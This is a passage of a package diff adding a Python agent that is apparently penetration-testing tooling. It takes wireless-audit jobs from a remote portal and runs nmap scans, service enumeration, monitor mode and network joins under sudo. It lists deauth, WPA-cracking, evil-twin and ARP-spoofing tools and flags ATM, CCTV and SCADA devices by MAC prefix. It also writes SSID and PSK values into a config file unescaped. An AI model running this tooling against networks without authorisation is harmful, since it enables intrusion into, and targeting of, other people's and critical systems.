aegis-node 0.1.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
aegis_node/agent.py ADDED
@@ -0,0 +1,3104 @@
1
+ #!/usr/bin/env python3
2
+ """Aegis WiFi Node Agent — connects a local USB WiFi adapter to the Aegis portal.
3
+
4
+ Usage:
5
+ aegis-node connect # browser-based auth (recommended)
6
+ aegis-node connect --no-browser # show URL instead of opening browser
7
+ aegis-node preflight # check system readiness
8
+ aegis-node preflight --install # auto-install missing tools
9
+ """
10
+ from __future__ import annotations
11
+
12
+ import argparse
13
+ import json
14
+ import logging
15
+ import os
16
+ import re
17
+ import signal
18
+ import subprocess
19
+ import sys
20
+ import threading
21
+ import time
22
+
23
+ import requests
24
+
25
+ logging.basicConfig(level=logging.INFO, format='%(asctime)s %(levelname)s %(message)s')
26
+ log = logging.getLogger('aegis-node')
27
+
28
+ POLL_INTERVAL = 3
29
+ HEARTBEAT_INTERVAL = 30
30
+ MAX_RECONNECT_DELAY = 120
31
+ RUNNING = True
32
+
33
+ # ── ANSI colors ──────────────────────────────────────────────────────────
34
+
35
+ _RESET = '\033[0m'
36
+ _BOLD = '\033[1m'
37
+ _DIM = '\033[2m'
38
+ _BLUE = '\033[38;2;45;107;255m' # Divolt Blue #2D6BFF
39
+ _CYAN = '\033[36m'
40
+ _GREEN = '\033[32m'
41
+ _RED = '\033[31m'
42
+ _YELLOW = '\033[33m'
43
+ _WHITE = '\033[97m'
44
+ _GREY = '\033[90m'
45
+
46
+ BANNER = f"""{_BLUE}{_BOLD}
47
+ █████╗ ███████╗ ██████╗ ██╗███████╗
48
+ ██╔══██╗██╔════╝██╔════╝ ██║██╔════╝
49
+ ███████║█████╗ ██║ ███╗██║███████╗
50
+ ██╔══██║██╔══╝ ██║ ██║██║╚════██║
51
+ ██║ ██║███████╗╚██████╔╝██║███████║
52
+ ╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═╝╚══════╝{_RESET}
53
+ {_CYAN} ░▒▓ WiFi Node Agent{_RESET} {_DIM}v0.1.0{_RESET} {_GREY}by Divolt{_RESET}
54
+ {_DIM} ──────────────────────────────────────{_RESET}
55
+ """
56
+
57
+
58
+ def _no_color() -> bool:
59
+ return os.environ.get('NO_COLOR') or not sys.stdout.isatty()
60
+
61
+
62
+ # ── Dependency management ───────────────────────────────────────────────
63
+
64
+ CORE_DEPS = {
65
+ 'iw': {'apt': 'iw', 'required': True, 'desc': 'Wireless interface control'},
66
+ 'ip': {'apt': 'iproute2', 'required': True, 'desc': 'Network interface management'},
67
+ 'tcpdump': {'apt': 'tcpdump', 'required': True, 'desc': 'Packet capture'},
68
+ 'nmap': {'apt': 'nmap', 'required': True, 'desc': 'Network scanning'},
69
+ }
70
+
71
+ MONITOR_DEPS = {
72
+ 'airmon-ng': {'apt': 'aircrack-ng', 'required': False, 'desc': 'Monitor mode management'},
73
+ 'airodump-ng': {'apt': 'aircrack-ng', 'required': False, 'desc': 'Wireless traffic capture'},
74
+ 'aireplay-ng': {'apt': 'aircrack-ng', 'required': False, 'desc': 'Packet injection / deauth'},
75
+ 'aircrack-ng': {'apt': 'aircrack-ng', 'required': False, 'desc': 'WPA key cracking'},
76
+ }
77
+
78
+ ADVANCED_DEPS = {
79
+ 'hashcat': {'apt': 'hashcat', 'required': False, 'desc': 'GPU-accelerated cracking'},
80
+ 'hcxdumptool': {'apt': 'hcxdumptool', 'required': False, 'desc': 'PMKID capture'},
81
+ 'hcxpcapngtool':{'apt': 'hcxtools', 'required': False, 'desc': 'Hash conversion'},
82
+ 'hostapd': {'apt': 'hostapd', 'required': False, 'desc': 'Evil twin AP'},
83
+ 'dnsmasq': {'apt': 'dnsmasq', 'required': False, 'desc': 'DNS/DHCP for evil twin'},
84
+ 'reaver': {'apt': 'reaver', 'required': False, 'desc': 'WPS PIN attack'},
85
+ 'tshark': {'apt': 'tshark', 'required': False, 'desc': 'Protocol analysis'},
86
+ 'arpspoof': {'apt': 'dsniff', 'required': False, 'desc': 'ARP spoofing (MITM)'},
87
+ 'macchanger': {'apt': 'macchanger', 'required': False, 'desc': 'MAC address randomisation'},
88
+ }
89
+
90
+ ALL_DEPS = {**CORE_DEPS, **MONITOR_DEPS, **ADVANCED_DEPS}
91
+
92
+
93
+ def check_dependencies() -> dict[str, bool]:
94
+ """Check which tools are installed. Returns {tool: is_present}."""
95
+ import shutil
96
+ return {tool: shutil.which(tool) is not None for tool in ALL_DEPS}
97
+
98
+
99
+ def preflight_check(auto_install: bool = False) -> bool:
100
+ """Run readiness check. Returns True if all required deps present."""
101
+ import shutil
102
+
103
+ c = not _no_color()
104
+ B, R, G, Y, D, W, CY, GR = (_BOLD, _RESET, _GREEN, _YELLOW, _DIM, _WHITE, _CYAN, _GREY) if c else ('',)*8
105
+
106
+ print(f'\n {CY}{B}PREFLIGHT CHECK{R}')
107
+ print(f' {D}{"─" * 40}{R}\n')
108
+
109
+ # 1. Check OS
110
+ import platform
111
+ print(f' {D}OS{R} {W}{platform.system()} {platform.release()}{R}')
112
+ print(f' {D}Host{R} {W}{platform.node()}{R}')
113
+ is_root = os.geteuid() == 0 if hasattr(os, 'geteuid') else False
114
+ print(f' {D}Root{R} {G + "yes" if is_root else Y + "no (sudo will be requested)"}{R}')
115
+ print()
116
+
117
+ # 2. Check Python dependencies
118
+ print(f' {B}Python Dependencies{R}')
119
+ print(f' {D}{"─" * 40}{R}')
120
+ py_ok = True
121
+ for mod, pkg in [('requests', 'requests')]:
122
+ try:
123
+ __import__(mod)
124
+ print(f' {G}✓{R} {mod}')
125
+ except ImportError:
126
+ print(f' {_RED if c else ""}✗{R} {mod} {D}→ pip install {pkg}{R}')
127
+ py_ok = False
128
+ print()
129
+
130
+ # 3. Check system tools
131
+ results = {}
132
+ all_required_ok = True
133
+ missing_apt: set[str] = set()
134
+
135
+ for category, deps, label in [
136
+ (CORE_DEPS, CORE_DEPS, 'Core (required)'),
137
+ (MONITOR_DEPS, MONITOR_DEPS, 'Monitor Mode'),
138
+ (ADVANCED_DEPS, ADVANCED_DEPS, 'Advanced Toolkit'),
139
+ ]:
140
+ print(f' {B}{label}{R}')
141
+ print(f' {D}{"─" * 40}{R}')
142
+ for tool, info in deps.items():
143
+ present = shutil.which(tool) is not None
144
+ results[tool] = present
145
+ if present:
146
+ mark = f'{G}✓{R}'
147
+ elif info['required']:
148
+ mark = f'{_RED if c else ""}✗{R}'
149
+ else:
150
+ mark = f'{Y}○{R}'
151
+ hint = '' if present else f' {D}→ apt install {info["apt"]}{R}'
152
+ print(f' {mark} {tool:<18} {D}{info["desc"]}{R}{hint}')
153
+ if not present:
154
+ missing_apt.add(info['apt'])
155
+ if info['required']:
156
+ all_required_ok = False
157
+ print()
158
+
159
+ # 4. Check USB adapter
160
+ print(f' {B}USB WiFi Adapter{R}')
161
+ print(f' {D}{"─" * 40}{R}')
162
+ from .adapters import detect_adapters
163
+ adapters = detect_adapters()
164
+ if adapters:
165
+ for a in adapters:
166
+ cap = []
167
+ if a['cap_monitor_mode']:
168
+ cap.append(f'{G}MON{R}')
169
+ if a['cap_injection']:
170
+ cap.append(f'{G}INJ{R}')
171
+ cap_str = ' '.join(cap) if cap else f'{Y}MANAGED{R}'
172
+ print(f' {G}✓{R} {W}{a["chipset"]}{R} {D}({a["vid_pid"]}){R} [{cap_str}]')
173
+ else:
174
+ print(f' {_RED if c else ""}✗{R} No compatible USB WiFi adapter detected')
175
+ print(f' {D}Plug in a supported adapter and try again{R}')
176
+ print()
177
+
178
+ # 5. Summary
179
+ total = len(results)
180
+ found = sum(results.values())
181
+ pct = int(found / total * 100) if total else 0
182
+
183
+ # Progress bar
184
+ bar_width = 30
185
+ filled = int(bar_width * pct / 100)
186
+ bar_color = G if pct == 100 else (Y if pct >= 60 else (_RED if c else ''))
187
+ bar = f'{bar_color}{"█" * filled}{D}{"░" * (bar_width - filled)}{R}'
188
+
189
+ print(f' {D}{"─" * 40}{R}')
190
+ print(f' {B}READINESS{R} {bar} {W}{found}/{total}{R} {D}({pct}%){R}')
191
+ if not all_required_ok:
192
+ print(f' {B}STATUS{R} {_RED if c else ""}✗ MISSING REQUIRED TOOLS{R}')
193
+ elif not adapters:
194
+ print(f' {B}STATUS{R} {_RED if c else ""}✗ NO ADAPTER DETECTED{R}')
195
+ elif pct == 100:
196
+ print(f' {B}STATUS{R} {G}✓ FULLY READY{R}')
197
+ else:
198
+ print(f' {B}STATUS{R} {Y}◐ PARTIAL ({total - found} optional missing){R}')
199
+ print(f' {D}{"─" * 40}{R}\n')
200
+
201
+ # 6. Auto-install if requested
202
+ if auto_install and missing_apt:
203
+ print(f' Installing missing packages: {", ".join(sorted(missing_apt))}')
204
+ apt_cmd = ['sudo', 'apt-get', 'install', '-y'] + sorted(missing_apt)
205
+ try:
206
+ subprocess.run(apt_cmd, check=True)
207
+ print(' ✓ Installation complete — re-running check...\n')
208
+ return preflight_check(auto_install=False)
209
+ except subprocess.CalledProcessError as e:
210
+ print(f' ✗ apt install failed: {e}')
211
+ return False
212
+
213
+ return all_required_ok and bool(adapters)
214
+
215
+
216
+ def _signal_handler(sig, frame):
217
+ global RUNNING
218
+ log.info('Shutting down...')
219
+ RUNNING = False
220
+
221
+
222
+ signal.signal(signal.SIGINT, _signal_handler)
223
+ signal.signal(signal.SIGTERM, _signal_handler)
224
+
225
+
226
+ # ── HTTP Client ──────────────────────────────────────────────────────────
227
+
228
+ class AegisNodeClient:
229
+ def __init__(self, server: str, session_id: int, token: str):
230
+ self.server = server.rstrip('/')
231
+ self.session_id = session_id
232
+ self.token = token
233
+ self.sess = requests.Session()
234
+ self.sess.headers.update({
235
+ 'X-WiFi-Node-Session': str(session_id),
236
+ 'X-WiFi-Node-Token': token,
237
+ 'Content-Type': 'application/json',
238
+ })
239
+
240
+ def _url(self, path: str) -> str:
241
+ return f'{self.server}/api/autobot/wifi-node/{path}'
242
+
243
+ def register(self, adapter_info: dict, host_info: dict) -> dict:
244
+ r = self.sess.post(self._url('register/'), json={
245
+ 'adapter': adapter_info, 'host': host_info,
246
+ }, timeout=15)
247
+ r.raise_for_status()
248
+ return r.json()
249
+
250
+ def poll(self) -> dict:
251
+ r = self.sess.post(self._url('poll/'), json={}, timeout=15)
252
+ r.raise_for_status()
253
+ return r.json()
254
+
255
+ def send_output(self, job_id: int, text: str):
256
+ try:
257
+ self.sess.post(self._url('output/'), json={
258
+ 'job_id': job_id, 'text': text,
259
+ }, timeout=10)
260
+ except Exception as e:
261
+ log.warning('Failed to send output: %s', e)
262
+
263
+ def send_result(self, job_id: int, result: dict):
264
+ r = self.sess.post(self._url('result/'), json={
265
+ 'job_id': job_id, 'result': result,
266
+ }, timeout=30)
267
+ r.raise_for_status()
268
+ return r.json()
269
+
270
+ def send_error(self, job_id: int, error: str):
271
+ r = self.sess.post(self._url('result/'), json={
272
+ 'job_id': job_id, 'error': error,
273
+ }, timeout=15)
274
+ r.raise_for_status()
275
+ return r.json()
276
+
277
+
278
+ # ── Output buffer ────────────────────────────────────────────────────────
279
+
280
+ class OutputBuffer:
281
+ """Batches terminal output lines and flushes periodically to the portal."""
282
+
283
+ FLUSH_INTERVAL = 1.5 # seconds
284
+ FLUSH_SIZE = 2048 # chars
285
+
286
+ def __init__(self, client: AegisNodeClient, job_id: int):
287
+ self._client = client
288
+ self._job_id = job_id
289
+ self._buf: list[str] = []
290
+ self._lock = threading.Lock()
291
+ self._last_flush = time.monotonic()
292
+
293
+ def write(self, text: str):
294
+ with self._lock:
295
+ self._buf.append(text)
296
+ total = sum(len(s) for s in self._buf)
297
+ elapsed = time.monotonic() - self._last_flush
298
+ if total >= self.FLUSH_SIZE or elapsed >= self.FLUSH_INTERVAL:
299
+ self._do_flush()
300
+
301
+ def flush(self):
302
+ with self._lock:
303
+ self._do_flush()
304
+
305
+ def _do_flush(self):
306
+ if not self._buf:
307
+ return
308
+ text = ''.join(self._buf)
309
+ self._buf.clear()
310
+ self._last_flush = time.monotonic()
311
+ self._client.send_output(self._job_id, text)
312
+
313
+
314
+ # ── Command execution ────────────────────────────────────────────────────
315
+
316
+ def _exec_cmd(buf: OutputBuffer, cmd: list[str], timeout: int = 300,
317
+ sudo: bool = False) -> tuple[int, str]:
318
+ """Run a command, streaming output to the portal via buffer."""
319
+ if sudo and os.geteuid() != 0:
320
+ cmd = ['sudo'] + cmd
321
+ try:
322
+ proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
323
+ text=True, bufsize=1)
324
+ except FileNotFoundError:
325
+ msg = f'Command not found: {cmd[0]}\n'
326
+ buf.write(msg)
327
+ buf.flush()
328
+ return -1, msg
329
+
330
+ output_lines = []
331
+ try:
332
+ for line in iter(proc.stdout.readline, ''):
333
+ output_lines.append(line)
334
+ buf.write(line)
335
+ if not RUNNING:
336
+ proc.terminate()
337
+ break
338
+ proc.wait(timeout=timeout)
339
+ except subprocess.TimeoutExpired:
340
+ proc.kill()
341
+ output_lines.append('\n[TIMEOUT]\n')
342
+ buf.write('\n[TIMEOUT]\n')
343
+ buf.flush()
344
+ return proc.returncode or 0, ''.join(output_lines)
345
+
346
+
347
+ def _run_quiet(cmd: list[str], timeout: int = 30, sudo: bool = False) -> tuple[int, str]:
348
+ """Run a command silently (no streaming). Returns (code, stdout)."""
349
+ if sudo and os.geteuid() != 0:
350
+ cmd = ['sudo'] + cmd
351
+ try:
352
+ r = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
353
+ return r.returncode, r.stdout + r.stderr
354
+ except (subprocess.TimeoutExpired, FileNotFoundError, OSError) as e:
355
+ return -1, str(e)
356
+
357
+
358
+ # ── Scan result parser ───────────────────────────────────────────────────
359
+
360
+ def _parse_iw_scan(raw: str) -> list[dict]:
361
+ """Parse `iw dev X scan` output into structured network list."""
362
+ networks = []
363
+ current: dict | None = None
364
+ for line in raw.splitlines():
365
+ if line.startswith('BSS '):
366
+ if current:
367
+ networks.append(current)
368
+ m = re.match(r'BSS ([0-9a-f:]{17})', line)
369
+ current = {'bssid': m.group(1) if m else '', 'ssid': '', 'signal': '',
370
+ 'freq': '', 'channel': '', 'encryption': 'Open'}
371
+ elif current:
372
+ stripped = line.strip()
373
+ if stripped.startswith('SSID:'):
374
+ current['ssid'] = stripped[5:].strip()
375
+ elif stripped.startswith('freq:'):
376
+ freq = stripped[5:].strip()
377
+ current['freq'] = freq
378
+ current['channel'] = _freq_to_channel(freq)
379
+ elif stripped.startswith('signal:'):
380
+ current['signal'] = stripped[7:].strip()
381
+ elif stripped.startswith('RSN:') or stripped.startswith('WPA:'):
382
+ current['encryption'] = 'WPA2' if 'RSN' in stripped else 'WPA'
383
+ elif 'CCMP' in stripped and current['encryption'] in ('WPA', 'WPA2'):
384
+ pass
385
+ elif 'Group cipher: TKIP' in stripped:
386
+ current['encryption'] = current['encryption'] + '/TKIP'
387
+ elif 'WEP' in stripped and current['encryption'] == 'Open':
388
+ current['encryption'] = 'WEP'
389
+ if current:
390
+ networks.append(current)
391
+ return networks
392
+
393
+
394
+ def _freq_to_channel(freq_str: str) -> str:
395
+ """Convert frequency MHz string to channel number."""
396
+ try:
397
+ freq = int(freq_str.split('.')[0])
398
+ except (ValueError, IndexError):
399
+ return ''
400
+ if 2412 <= freq <= 2484:
401
+ if freq == 2484:
402
+ return '14'
403
+ return str((freq - 2407) // 5)
404
+ elif 5180 <= freq <= 5825:
405
+ return str((freq - 5000) // 5)
406
+ return ''
407
+
408
+
409
+ # ── OUI vendor database (critical infrastructure device identification) ───
410
+
411
+ CRITICAL_INFRA_OUIS: dict[str, str] = {
412
+ # ATM / POS / Banking
413
+ '00:0e:7f': 'NCR (ATM/POS)',
414
+ '00:0d:28': 'NCR (ATM)',
415
+ '00:15:b9': 'NCR Financial',
416
+ '00:1c:39': 'Diebold Nixdorf (ATM)',
417
+ '00:0a:e4': 'Diebold (ATM)',
418
+ '00:1f:45': 'Verifone (POS)',
419
+ '00:26:32': 'Verifone (POS)',
420
+ '00:1b:b4': 'Ingenico (POS)',
421
+ 'b4:a8:28': 'Ingenico (POS)',
422
+ '00:02:74': 'Wincor Nixdorf (ATM)',
423
+ # CCTV / IP Cameras / NVR
424
+ 'c0:56:e3': 'Hikvision (CCTV)',
425
+ '28:57:be': 'Hikvision (CCTV)',
426
+ '54:c4:15': 'Hikvision (CCTV)',
427
+ '44:19:b6': 'Hikvision (CCTV)',
428
+ 'a4:14:37': 'Hikvision (CCTV)',
429
+ 'e0:50:8b': 'Hikvision (CCTV)',
430
+ '4c:bd:8f': 'Dahua (CCTV)',
431
+ '3c:ef:8c': 'Dahua (CCTV)',
432
+ 'a0:bd:1d': 'Dahua (CCTV)',
433
+ '00:40:8c': 'Axis Communications (IP Camera)',
434
+ 'ac:cc:8e': 'Axis Communications (IP Camera)',
435
+ 'b8:a4:4f': 'Axis Communications (IP Camera)',
436
+ '00:80:f0': 'Panasonic (CCTV/BMS)',
437
+ '00:1e:0b': 'Panasonic (CCTV)',
438
+ '00:1f:e2': 'Hanwha Techwin (CCTV)',
439
+ 'c4:ae:12': 'Samsung Techwin (CCTV)',
440
+ '00:18:85': 'Avigilon (CCTV)',
441
+ '00:24:a4': 'Vivotek (IP Camera)',
442
+ # SCADA / ICS / Building Management
443
+ '00:40:9d': 'Siemens (SCADA/ICS)',
444
+ '08:00:06': 'Siemens Industrial',
445
+ '00:0e:8c': 'Siemens Building',
446
+ '00:01:05': 'Beckhoff (PLC/ICS)',
447
+ '00:60:35': 'ABB/Asea Brown Boveri (ICS)',
448
+ '00:30:11': 'Honeywell (BMS/Access)',
449
+ '00:10:c6': 'Honeywell (BMS)',
450
+ '00:06:9d': 'Schneider Electric (SCADA)',
451
+ '00:80:e1': 'Schneider Electric',
452
+ '00:00:54': 'Schneider Automation',
453
+ '00:20:4a': 'Rockwell/Allen-Bradley (PLC)',
454
+ '00:1d:9c': 'Rockwell Automation',
455
+ '00:0b:ab': 'Johnson Controls (BMS)',
456
+ # Access Control / Physical Security
457
+ '00:17:43': 'HID Global (Access Control)',
458
+ '00:24:a1': 'ASSA ABLOY (Locks)',
459
+ '00:16:c7': 'Lenel (Access Control)',
460
+ '00:18:ae': 'TVT / ZKTeco (Access)',
461
+ # Network Infrastructure (often hidden on critical nets)
462
+ '00:0c:29': 'VMware (Virtual Infra)',
463
+ '00:0d:3a': 'Microsoft (Azure/Hyper-V)',
464
+ '00:50:56': 'VMware (ESXi)',
465
+ }
466
+
467
+
468
+ def _oui_lookup(mac: str) -> str:
469
+ """Look up MAC OUI prefix against critical infrastructure database."""
470
+ prefix = mac[:8].lower()
471
+ return CRITICAL_INFRA_OUIS.get(prefix, '')
472
+
473
+
474
+ def _parse_airodump_csv(csv_path: str) -> tuple[list[dict], list[dict]]:
475
+ """Parse airodump-ng CSV output into (networks, clients) lists."""
476
+ networks = []
477
+ clients = []
478
+ section = ''
479
+ headers: list[str] = []
480
+
481
+ try:
482
+ with open(csv_path, 'r', errors='replace') as f:
483
+ for line in f:
484
+ line = line.strip()
485
+ if not line:
486
+ continue
487
+ if line.startswith('BSSID') and 'ESSID' in line:
488
+ section = 'networks'
489
+ headers = [h.strip() for h in line.split(',')]
490
+ continue
491
+ if line.startswith('Station MAC'):
492
+ section = 'clients'
493
+ headers = [h.strip() for h in line.split(',')]
494
+ continue
495
+ if not section or not headers:
496
+ continue
497
+
498
+ parts = [p.strip() for p in line.split(',')]
499
+ if len(parts) < 6:
500
+ continue
501
+
502
+ if section == 'networks':
503
+ bssid = parts[0].strip()
504
+ if not re.match(r'^[0-9A-Fa-f:]{17}$', bssid):
505
+ continue
506
+ essid = parts[-1].strip() if len(parts) > 13 else ''
507
+ hidden = not essid or essid.startswith('\\x00')
508
+ channel = parts[3].strip() if len(parts) > 3 else ''
509
+ power = parts[8].strip() if len(parts) > 8 else ''
510
+ privacy = parts[5].strip() if len(parts) > 5 else ''
511
+ vendor = _oui_lookup(bssid)
512
+ networks.append({
513
+ 'bssid': bssid,
514
+ 'ssid': essid if not hidden else '',
515
+ 'hidden': hidden,
516
+ 'channel': channel,
517
+ 'power_dbm': power,
518
+ 'encryption': privacy,
519
+ 'vendor': vendor,
520
+ 'critical_infra': bool(vendor),
521
+ })
522
+ elif section == 'clients':
523
+ station_mac = parts[0].strip()
524
+ if not re.match(r'^[0-9A-Fa-f:]{17}$', station_mac):
525
+ continue
526
+ bssid = parts[5].strip() if len(parts) > 5 else ''
527
+ probed = parts[-1].strip() if len(parts) > 6 else ''
528
+ vendor = _oui_lookup(station_mac)
529
+ clients.append({
530
+ 'station_mac': station_mac,
531
+ 'bssid': bssid,
532
+ 'probed_ssids': probed,
533
+ 'vendor': vendor,
534
+ 'critical_infra': bool(vendor),
535
+ })
536
+ except FileNotFoundError:
537
+ pass
538
+
539
+ return networks, clients
540
+
541
+
542
+ # ── Monitor mode helpers ─────────────────────────────────────────────────
543
+
544
+ def _enter_monitor_mode(iface: str, buf: OutputBuffer | None = None) -> str | None:
545
+ """Switch interface to monitor mode. Returns monitor interface name or None."""
546
+ if buf:
547
+ buf.write(f'[*] Entering monitor mode on {iface}...\n')
548
+
549
+ # Try airmon-ng first (handles driver quirks)
550
+ code, out = _run_quiet(['airmon-ng', 'check', 'kill'], sudo=True)
551
+ code, out = _run_quiet(['airmon-ng', 'start', iface], sudo=True)
552
+ if code == 0:
553
+ m = re.search(r'monitor mode.*enabled.*on\s+\[?(\w+)', out, re.IGNORECASE)
554
+ if m:
555
+ mon_iface = m.group(1)
556
+ if buf:
557
+ buf.write(f'[+] Monitor mode active: {mon_iface}\n')
558
+ return mon_iface
559
+ # airmon-ng often renames to wlan0mon
560
+ mon_iface = iface + 'mon'
561
+ _, check = _run_quiet(['iw', 'dev'])
562
+ if mon_iface in check:
563
+ if buf:
564
+ buf.write(f'[+] Monitor mode active: {mon_iface}\n')
565
+ return mon_iface
566
+
567
+ # Manual fallback
568
+ if buf:
569
+ buf.write('[*] airmon-ng fallback — manual monitor mode...\n')
570
+ _run_quiet(['ip', 'link', 'set', iface, 'down'], sudo=True)
571
+ code, _ = _run_quiet(['iw', 'dev', iface, 'set', 'type', 'monitor'], sudo=True)
572
+ _run_quiet(['ip', 'link', 'set', iface, 'up'], sudo=True)
573
+ if code == 0:
574
+ if buf:
575
+ buf.write(f'[+] Monitor mode active: {iface}\n')
576
+ return iface
577
+
578
+ if buf:
579
+ buf.write('[-] Failed to enter monitor mode\n')
580
+ return None
581
+
582
+
583
+ def _exit_monitor_mode(iface: str, original_iface: str, buf: OutputBuffer | None = None):
584
+ """Restore interface to managed mode."""
585
+ if buf:
586
+ buf.write(f'[*] Restoring {original_iface} to managed mode...\n')
587
+ _run_quiet(['airmon-ng', 'stop', iface], sudo=True)
588
+ # Restart NetworkManager for managed-mode reconnection
589
+ _run_quiet(['systemctl', 'start', 'NetworkManager'], sudo=True)
590
+ if buf:
591
+ buf.write('[+] Managed mode restored\n')
592
+ buf.flush()
593
+
594
+
595
+ # ── Job executors (P1: managed-mode) ─────────────────────────────────────
596
+
597
+ def execute_scan(client: AegisNodeClient, job: dict):
598
+ """WiFi network scan — active scan with structured output."""
599
+ jid = job['job_id']
600
+ iface = job.get('parameters', {}).get('interface', 'wlan0')
601
+ buf = OutputBuffer(client, jid)
602
+
603
+ buf.write(f'[*] Active WiFi scan on {iface}...\n')
604
+ code, raw = _exec_cmd(buf, ['iw', 'dev', iface, 'scan'], timeout=60, sudo=True)
605
+
606
+ if code != 0:
607
+ client.send_error(jid, f'Scan failed (exit {code}): {raw[:500]}')
608
+ return
609
+
610
+ networks = _parse_iw_scan(raw)
611
+ buf.write(f'\n[+] Found {len(networks)} network(s)\n')
612
+ for n in networks[:50]:
613
+ buf.write(f' {n["bssid"]} ch{n["channel"]:>3s} {n["signal"]:>10s} '
614
+ f'{n["encryption"]:<10s} {n["ssid"]}\n')
615
+ buf.flush()
616
+
617
+ client.send_result(jid, {
618
+ 'networks': networks[:200],
619
+ 'network_count': len(networks),
620
+ 'interface': iface,
621
+ 'raw_output': raw[:50000],
622
+ })
623
+
624
+
625
+ def execute_internal_scan(client: AegisNodeClient, job: dict):
626
+ """Nmap internal network scan after joining a network."""
627
+ jid = job['job_id']
628
+ targets = job.get('targets', {})
629
+ target = targets.get('network', targets.get('ip', '192.168.1.0/24'))
630
+ params = job.get('parameters', {})
631
+ iface = params.get('interface', '')
632
+ buf = OutputBuffer(client, jid)
633
+
634
+ nmap_args = ['nmap', '-sV', '-O', '--top-ports', '1000']
635
+ if params.get('fast'):
636
+ nmap_args = ['nmap', '-F', '-sV']
637
+ if iface:
638
+ nmap_args += ['-e', iface]
639
+ nmap_args.append(target)
640
+
641
+ buf.write(f'[*] Internal scan: {" ".join(nmap_args)}\n')
642
+ code, out = _exec_cmd(buf, nmap_args, timeout=600, sudo=True)
643
+ if code == 0:
644
+ client.send_result(jid, {'nmap_output': out[:100000], 'target': target})
645
+ else:
646
+ client.send_error(jid, f'Nmap failed (exit {code}): {out[:500]}')
647
+
648
+
649
+ def execute_service_enum(client: AegisNodeClient, job: dict):
650
+ """Full-port service enumeration on a specific host."""
651
+ jid = job['job_id']
652
+ targets = job.get('targets', {})
653
+ target = targets.get('ip', '')
654
+ if not target:
655
+ client.send_error(jid, 'No target IP specified')
656
+ return
657
+ params = job.get('parameters', {})
658
+ iface = params.get('interface', '')
659
+ buf = OutputBuffer(client, jid)
660
+
661
+ nmap_args = ['nmap', '-sV', '-sC', '-p-']
662
+ if iface:
663
+ nmap_args += ['-e', iface]
664
+ nmap_args.append(target)
665
+
666
+ buf.write(f'[*] Service enumeration on {target}\n')
667
+ code, out = _exec_cmd(buf, nmap_args, timeout=900, sudo=True)
668
+ if code == 0:
669
+ client.send_result(jid, {'enum_output': out[:100000], 'target': target})
670
+ else:
671
+ client.send_error(jid, f'Enumeration failed (exit {code}): {out[:500]}')
672
+
673
+
674
+ def execute_rogue_detect(client: AegisNodeClient, job: dict):
675
+ """Detect rogue APs by comparing visible networks against known inventory."""
676
+ jid = job['job_id']
677
+ iface = job.get('parameters', {}).get('interface', 'wlan0')
678
+ targets = job.get('targets', {})
679
+ known_ssids = targets.get('known_ssids', [])
680
+ known_bssids = {b.lower() for b in targets.get('known_bssids', [])}
681
+ buf = OutputBuffer(client, jid)
682
+
683
+ buf.write(f'[*] Rogue AP detection scan on {iface}...\n')
684
+ code, raw = _exec_cmd(buf, ['iw', 'dev', iface, 'scan'], timeout=60, sudo=True)
685
+ if code != 0:
686
+ client.send_error(jid, f'Rogue detect scan failed (exit {code}): {raw[:500]}')
687
+ return
688
+
689
+ networks = _parse_iw_scan(raw)
690
+ anomalies = []
691
+
692
+ ssid_to_bssids: dict[str, list[str]] = {}
693
+ for n in networks:
694
+ ssid_to_bssids.setdefault(n['ssid'], []).append(n['bssid'])
695
+
696
+ for ssid, bssids in ssid_to_bssids.items():
697
+ if not ssid:
698
+ continue
699
+ if ssid in known_ssids:
700
+ for bssid in bssids:
701
+ if known_bssids and bssid.lower() not in known_bssids:
702
+ anomalies.append({
703
+ 'type': 'unknown_bssid_for_known_ssid',
704
+ 'severity': 'high',
705
+ 'ssid': ssid, 'bssid': bssid,
706
+ 'detail': f'Known SSID "{ssid}" seen on unexpected BSSID {bssid}',
707
+ })
708
+ if len(bssids) > 1 and ssid not in known_ssids:
709
+ pass
710
+ for n in networks:
711
+ if n['ssid'] == ssid and n['encryption'] == 'Open' and ssid in known_ssids:
712
+ anomalies.append({
713
+ 'type': 'open_known_ssid',
714
+ 'severity': 'critical',
715
+ 'ssid': ssid, 'bssid': n['bssid'],
716
+ 'detail': f'Known SSID "{ssid}" is broadcasting OPEN (evil twin?)',
717
+ })
718
+
719
+ buf.write(f'\n[+] Scanned {len(networks)} networks, {len(anomalies)} anomalies\n')
720
+ for a in anomalies:
721
+ buf.write(f' [{a["severity"].upper()}] {a["detail"]}\n')
722
+ if not anomalies:
723
+ buf.write(' No rogue APs detected\n')
724
+ buf.flush()
725
+
726
+ client.send_result(jid, {
727
+ 'networks': networks[:200],
728
+ 'anomalies': anomalies,
729
+ 'known_ssids_checked': known_ssids,
730
+ 'type': 'rogue_detect',
731
+ })
732
+
733
+
734
+ def execute_network_join(client: AegisNodeClient, job: dict):
735
+ """Connect to a WiFi network with provided credentials."""
736
+ jid = job['job_id']
737
+ targets = job.get('targets', {})
738
+ ssid = targets.get('ssid', '')
739
+ psk = targets.get('psk', '')
740
+ params = job.get('parameters', {})
741
+ iface = params.get('interface', 'wlan0')
742
+ buf = OutputBuffer(client, jid)
743
+
744
+ if not ssid:
745
+ client.send_error(jid, 'No SSID specified')
746
+ return
747
+
748
+ buf.write(f'[*] Connecting to "{ssid}" on {iface}...\n')
749
+
750
+ # Ensure NetworkManager is running (may have been killed by airmon-ng)
751
+ _run_quiet(['systemctl', 'start', 'NetworkManager'], sudo=True)
752
+ time.sleep(2)
753
+
754
+ if psk:
755
+ code, out = _exec_cmd(buf, ['nmcli', 'dev', 'wifi', 'connect', ssid,
756
+ 'password', psk, 'ifname', iface], timeout=30)
757
+ else:
758
+ code, out = _exec_cmd(buf, ['nmcli', 'dev', 'wifi', 'connect', ssid,
759
+ 'ifname', iface], timeout=30)
760
+
761
+ if code != 0:
762
+ # Fallback to wpa_supplicant
763
+ buf.write('[*] nmcli failed, trying wpa_supplicant...\n')
764
+ wpa_conf = '/tmp/aegis_wpa.conf'
765
+ conf_block = f'network={{\n ssid="{ssid}"\n'
766
+ if psk:
767
+ conf_block += f' psk="{psk}"\n'
768
+ else:
769
+ conf_block += ' key_mgmt=NONE\n'
770
+ conf_block += '}\n'
771
+
772
+ with open(wpa_conf, 'w') as f:
